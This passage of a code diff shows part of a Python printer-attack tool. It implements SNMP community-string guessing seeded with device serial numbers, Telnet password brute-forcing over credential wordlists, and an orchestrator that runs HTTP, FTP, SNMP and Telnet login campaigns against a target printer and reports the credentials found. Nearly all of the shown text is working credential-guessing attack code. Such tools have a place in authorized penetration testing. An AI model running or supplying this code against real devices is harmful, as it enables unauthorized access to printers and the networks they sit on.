if c and c not in seen_comm:
|
|
580
|
+
seen_comm.add(c)
|
|
581
|
+
communities.append(c)
|
|
582
|
+
|
|
583
|
+
# Inject serial-based communities (often used as SNMP community)
|
|
584
|
+
for common in [serial.lower(), serial.upper()]:
|
|
585
|
+
if common and common not in seen_comm:
|
|
586
|
+
seen_comm.add(common)
|
|
587
|
+
communities.append(common)
|
|
588
|
+
|
|
589
|
+
for comm in communities:
|
|
590
|
+
if verbose:
|
|
591
|
+
print(f" {_DIM}» community={comm!r}{_RST}", end='\r')
|
|
592
|
+
|
|
593
|
+
try:
|
|
594
|
+
for err_ind, err_stat, _, var_binds in getCmd(
|
|
595
|
+
SnmpEngine(),
|
|
596
|
+
CommunityData(comm, mpModel=1),
|
|
597
|
+
UdpTransportTarget((host, port), timeout=timeout, retries=0),
|
|
598
|
+
ContextData(),
|
|
599
|
+
ObjectType(ObjectIdentity(_SNMP_TEST_OID)),
|
|
600
|
+
):
|
|
601
|
+
if not err_ind and not err_stat:
|
|
602
|
+
descr = str(var_binds[0][1])[:80] if var_binds else ''
|
|
603
|
+
result = LoginResult(
|
|
604
|
+
protocol = 'snmp',
|
|
605
|
+
host = host,
|
|
606
|
+
port = port,
|
|
607
|
+
username = comm,
|
|
608
|
+
password = None,
|
|
609
|
+
success = True,
|
|
610
|
+
status = 'found',
|
|
611
|
+
evidence = f'sysDescr: {descr}',
|
|
612
|
+
)
|
|
613
|
+
results.append(result)
|
|
614
|
+
print(f"\n {_GRN}[+] FOUND:{_RST} SNMP community={comm!r}")
|
|
615
|
+
if verbose:
|
|
616
|
+
print(f" sysDescr: {descr}")
|
|
617
|
+
if stop_on_first:
|
|
618
|
+
return results
|
|
619
|
+
break
|
|
620
|
+
except Exception:
|
|
621
|
+
pass
|
|
622
|
+
|
|
623
|
+
return results
|
|
624
|
+
|
|
625
|
+
|
|
626
|
+
# ── Telnet attack ─────────────────────────────────────────────────────────────
|
|
627
|
+
|
|
628
|
+
def bruteforce_telnet(
|
|
629
|
+
host: str,
|
|
630
|
+
port: int = 23,
|
|
631
|
+
vendor: str = 'generic',
|
|
632
|
+
serial: str = '',
|
|
633
|
+
mac: str = '',
|
|
634
|
+
timeout: float = DEFAULT_TIMEOUT,
|
|
635
|
+
delay: float = DEFAULT_DELAY,
|
|
636
|
+
enable_variations: bool = True,
|
|
637
|
+
stop_on_first: bool = True,
|
|
638
|
+
extra_creds: List[Tuple[str, Optional[str]]] = None,
|
|
639
|
+
wordlist_path: Optional[str] = None,
|
|
640
|
+
verbose: bool = True,
|
|
641
|
+
) -> List[LoginResult]:
|
|
642
|
+
"""Telnet brute force against printer management interface."""
|
|
643
|
+
results: List[LoginResult] = []
|
|
644
|
+
|
|
645
|
+
# Check if Telnet is open
|
|
646
|
+
try:
|
|
647
|
+
s = socket.create_connection((host, port), timeout=timeout)
|
|
648
|
+
banner = b''
|
|
649
|
+
s.settimeout(2)
|
|
650
|
+
try:
|
|
651
|
+
banner = s.recv(256)
|
|
652
|
+
except Exception:
|
|
653
|
+
pass
|
|
654
|
+
s.close()
|
|
655
|
+
except Exception:
|
|
656
|
+
return results # Telnet not open
|
|
657
|
+
|
|
658
|
+
if verbose:
|
|
659
|
+
print(f"\n {_CYN}[TELNET BF]{_RST} {host}:{port} | vendor={vendor}")
|
|
660
|
+
|
|
661
|
+
for username, password in iter_credentials(
|
|
662
|
+
vendor, serial, mac, 'telnet', enable_variations, extra_creds, wordlist_path
|
|
663
|
+
):
|
|
664
|
+
pwd_display = password if password is not None else '(blank)'
|
|
665
|
+
if verbose:
|
|
666
|
+
print(f" {_DIM}» {username!r:<14} / {pwd_display!r}{_RST}", end='\r')
|
|
667
|
+
|
|
668
|
+
try:
|
|
669
|
+
import telnetlib
|
|
670
|
+
tn = telnetlib.Telnet(host, port, timeout=timeout)
|
|
671
|
+
tn.read_until(b'login:', timeout=timeout)
|
|
672
|
+
tn.write((username + '\n').encode('ascii'))
|
|
673
|
+
tn.read_until(b'Password:', timeout=timeout)
|
|
674
|
+
tn.write(((password or '') + '\n').encode('ascii'))
|
|
675
|
+
time.sleep(1)
|
|
676
|
+
out = tn.read_very_eager().decode('latin-1', errors='replace')
|
|
677
|
+
tn.close()
|
|
678
|
+
|
|
679
|
+
if any(kw in out.lower() for kw in ('$', '#', '%', '>', 'welcome', 'hp', 'kyocera')):
|
|
680
|
+
result = LoginResult(
|
|
681
|
+
protocol = 'telnet',
|
|
682
|
+
host = host,
|
|
683
|
+
port = port,
|
|
684
|
+
username = username,
|
|
685
|
+
password = password,
|
|
686
|
+
success = True,
|
|
687
|
+
status = 'found',
|
|
688
|
+
evidence = f'Shell prompt after login: {out[:60]}',
|
|
689
|
+
)
|
|
690
|
+
results.append(result)
|
|
691
|
+
print(f"\n {_GRN}[+] FOUND:{_RST} TELNET {host}:{port} "
|
|
692
|
+
f"→ {username!r} / {pwd_display!r}")
|
|
693
|
+
if stop_on_first:
|
|
694
|
+
break
|
|
695
|
+
else:
|
|
696
|
+
results.append(LoginResult('telnet', host, port, username, password,
|
|
697
|
+
False, 'invalid'))
|
|
698
|
+
except Exception:
|
|
699
|
+
results.append(LoginResult('telnet', host, port, username, password,
|
|
700
|
+
False, 'timeout'))
|
|
701
|
+
|
|
702
|
+
time.sleep(delay)
|
|
703
|
+
|
|
704
|
+
return results
|
|
705
|
+
|
|
706
|
+
|
|
707
|
+
# ── Main orchestrator ─────────────────────────────────────────────────────────
|
|
708
|
+
|
|
709
|
+
def bruteforce(
|
|
710
|
+
host: str,
|
|
711
|
+
vendor: str = 'generic',
|
|
712
|
+
serial: str = '',
|
|
713
|
+
mac: str = '',
|
|
714
|
+
open_ports: List[int] = None,
|
|
715
|
+
timeout: float = DEFAULT_TIMEOUT,
|
|
716
|
+
delay: float = DEFAULT_DELAY,
|
|
717
|
+
enable_variations: bool = True,
|
|
718
|
+
stop_on_first: bool = True,
|
|
719
|
+
extra_creds: List[Tuple[str, Optional[str]]] = None,
|
|
720
|
+
wordlist_path: Optional[str] = None,
|
|
721
|
+
test_http: bool = True,
|
|
722
|
+
test_ftp: bool = True,
|
|
723
|
+
test_snmp: bool = True,
|
|
724
|
+
test_telnet: bool = True,
|
|
725
|
+
verbose: bool = True,
|
|
726
|
+
) -> BruteforceReport:
|
|
727
|
+
"""
|
|
728
|
+
Run brute-force login campaign against a printer target.
|
|
729
|
+
|
|
730
|
+
Args:
|
|
731
|
+
host: Target IP or hostname.
|
|
732
|
+
vendor: Printer vendor/make (e.g. 'epson', 'hp', 'ricoh').
|
|
733
|
+
serial: Device serial number (used for __SERIAL__ token).
|
|
734
|
+
mac: MAC address string (used for __MAC6__ / __MAC12__ tokens).
|
|
735
|
+
open_ports: List of known open ports (to skip probing closed ports).
|
|
736
|
+
timeout: Socket/HTTP timeout in seconds.
|
|
737
|
+
delay: Delay between attempts (seconds) to avoid lockouts.
|
|
738
|
+
enable_variations: Generate password variations (reverse, leet, etc.)
|
|
739
|
+
stop_on_first: Stop each protocol BF after first successful credential.
|
|
740
|
+
extra_creds: Additional (username, password) pairs to test.
|
|
741
|
+
test_http/ftp/snmp/telnet: Which protocols to test.
|
|
742
|
+
verbose: Print attempt progress.
|
|
743
|
+
|
|
744
|
+
Returns:
|
|
745
|
+
BruteforceReport with all results and found credentials.
|
|
746
|
+
"""
|
|
747
|
+
ports = set(open_ports or [])
|
|
748
|
+
report = BruteforceReport(host=host, vendor=vendor, serial=serial)
|
|
749
|
+
|
|
750
|
+
# Resolve wordlist to use
|
|
751
|
+
effective_wordlist = wordlist_path or get_default_wordlist_path()
|
|
752
|
+
|
|
753
|
+
if verbose:
|
|
754
|
+
print(f"\n {'='*60}")
|
|
755
|
+
print(f" {_CYN}BRUTE FORCE LOGIN — {host}{_RST}")
|
|
756
|
+
print(f" {'='*60}")
|
|
757
|
+
print(f" Vendor : {vendor or 'generic'}")
|
|
758
|
+
print(f" Serial : {serial or '(not provided)'}")
|
|
759
|
+
print(f" MAC : {mac or '(not provided)'}")
|
|
760
|
+
print(f" Wordlist : {effective_wordlist or '(not found — check wordlists/ folder)'}")
|
|
761
|
+
print(f" Variations: {'YES' if enable_variations else 'NO'}")
|
|
762
|
+
print()
|
|
763
|
+
|
|
764
|
+
from utils.ports import PortConfig as _PC
|
|
765
|
+
_http_port = _PC.resolve('http')
|
|
766
|
+
_https_port = _PC.resolve('https')
|
|
767
|
+
_ftp_port = _PC.resolve('ftp')
|
|
768
|
+
_snmp_port = _PC.resolve('snmp')
|
|
769
|
+
_telnet_port = _PC.resolve('telnet')
|
|
770
|
+
|
|
771
|
+
all_results: List[LoginResult] = []
|
|
772
|
+
|
|
773
|
+
# ── HTTP
|
|
774
|
+
_http_candidates = [
|
|
775
|
+
(_http_port, 'http'),
|
|
776
|
+
(_https_port, 'https'),
|
|
777
|
+
(8080, 'http'),
|
|
778
|
+
(8443, 'https'),
|
|
779
|
+
]
|
|
780
|
+
if test_http and (not ports or any(p in ports for p, _ in _http_candidates)):
|
|
781
|
+
for port, scheme in _http_candidates:
|
|
782
|
+
if ports and port not in ports:
|
|
783
|
+
continue
|
|
784
|
+
r = bruteforce_http(
|
|
785
|
+
host, port, vendor, serial, mac, scheme,
|
|
786
|
+
timeout, delay, enable_variations, stop_on_first, extra_creds,
|
|
787
|
+
effective_wordlist, verbose,
|
|
788
|
+
)
|
|
789
|
+
all_results.extend(r)
|
|
790
|
+
if stop_on_first and any(x.success for x in r):
|
|
791
|
+
break
|
|
792
|
+
|
|
793
|
+
# ── FTP
|
|
794
|
+
if test_ftp and (not ports or _ftp_port in ports):
|
|
795
|
+
r = bruteforce_ftp(
|
|
796
|
+
host, _ftp_port, vendor, serial, mac,
|
|
797
|
+
timeout, delay, enable_variations, stop_on_first, extra_creds,
|
|
798
|
+
effective_wordlist, verbose,
|
|
799
|
+
)
|
|
800
|
+
all_results.extend(r)
|
|
801
|
+
|
|
802
|
+
# ── SNMP (always try unless explicitly excluded)
|
|
803
|
+
if test_snmp and (not ports or _snmp_port in ports or True):
|
|
804
|
+
r = bruteforce_snmp(
|
|
805
|
+
host, _snmp_port, vendor, serial, mac,
|
|
806
|
+
timeout, enable_variations, stop_on_first=False, extra_creds=extra_creds,
|
|
807
|
+
wordlist_path=effective_wordlist, verbose=verbose,
|
|
808
|
+
)
|
|
809
|
+
all_results.extend(r)
|
|
810
|
+
|
|
811
|
+
# ── Telnet
|
|
812
|
+
if test_telnet and (not ports or _telnet_port in ports):
|
|
813
|
+
r = bruteforce_telnet(
|
|
814
|
+
host, _telnet_port, vendor, serial, mac,
|
|
815
|
+
timeout, delay, enable_variations, stop_on_first, extra_creds,
|
|
816
|
+
effective_wordlist, verbose,
|
|
817
|
+
)
|
|
818
|
+
all_results.extend(r)
|
|
819
|
+
|
|
820
|
+
report.all_results = all_results
|
|
821
|
+
report.total = len(all_results)
|
|
822
|
+
report.found = [r for r in all_results if r.success]
|
|
823
|
+
|
|
824
|
+
return report
|
|
825
|
+
|
|
826
|
+
|
|
827
|
+
# ── Output ────────────────────────────────────────────────────────────────────
|
|
828
|
+
|
|
829
|
+
def print_report(report: BruteforceReport) -> None:
|
|
830
|
+
"""Print brute-force report to stdout."""
|
|
831
|
+
print(f"\n {'='*60}")
|
|
832
|
+
print(f" {_CYN}BRUTE FORCE REPORT — {report.host}{_RST}")
|
|
833
|
+
print(f" {'='*60}")
|
|
834
|
+
print(f" Total attempts : {report.total}")
|
|
835
|
+
print(f" Found : {len(report.found)}")
|
|
836
|
+
|
|
837
|
+
if report.found:
|
|
838
|
+
print(f"\n {_GRN}{'[+] CREDENTIALS FOUND':}")
|
|
839
|
+
print(f" {'-'*60}{_RST}")
|
|
840
|
+
for r in report.found:
|
|
841
|
+
print(f" {_GRN}[{r.protocol.upper()}]{_RST} "
|
|
842
|
+
f"{r.username!r:<14} / {r.password_display()!r:<24}")
|
|
843
|
+
if r.evidence:
|
|
844
|
+
print(f" {_DIM}{r.evidence[:72]}{_RST}")
|
|
845
|
+
if r.url:
|
|
846
|
+
print(f" {_DIM}{r.url}{_RST}")
|
|
847
|
+
else:
|
|
848
|
+
print(f"\n {_DIM}No credentials found. "
|
|
849
|
+
f"Device may have non-default credentials.{_RST}")
|
|
850
|
+
print(f" If serial number was not provided, try --bf-serial <SERIAL>")
|
|
851
|
+
|
|
852
|
+
print()
|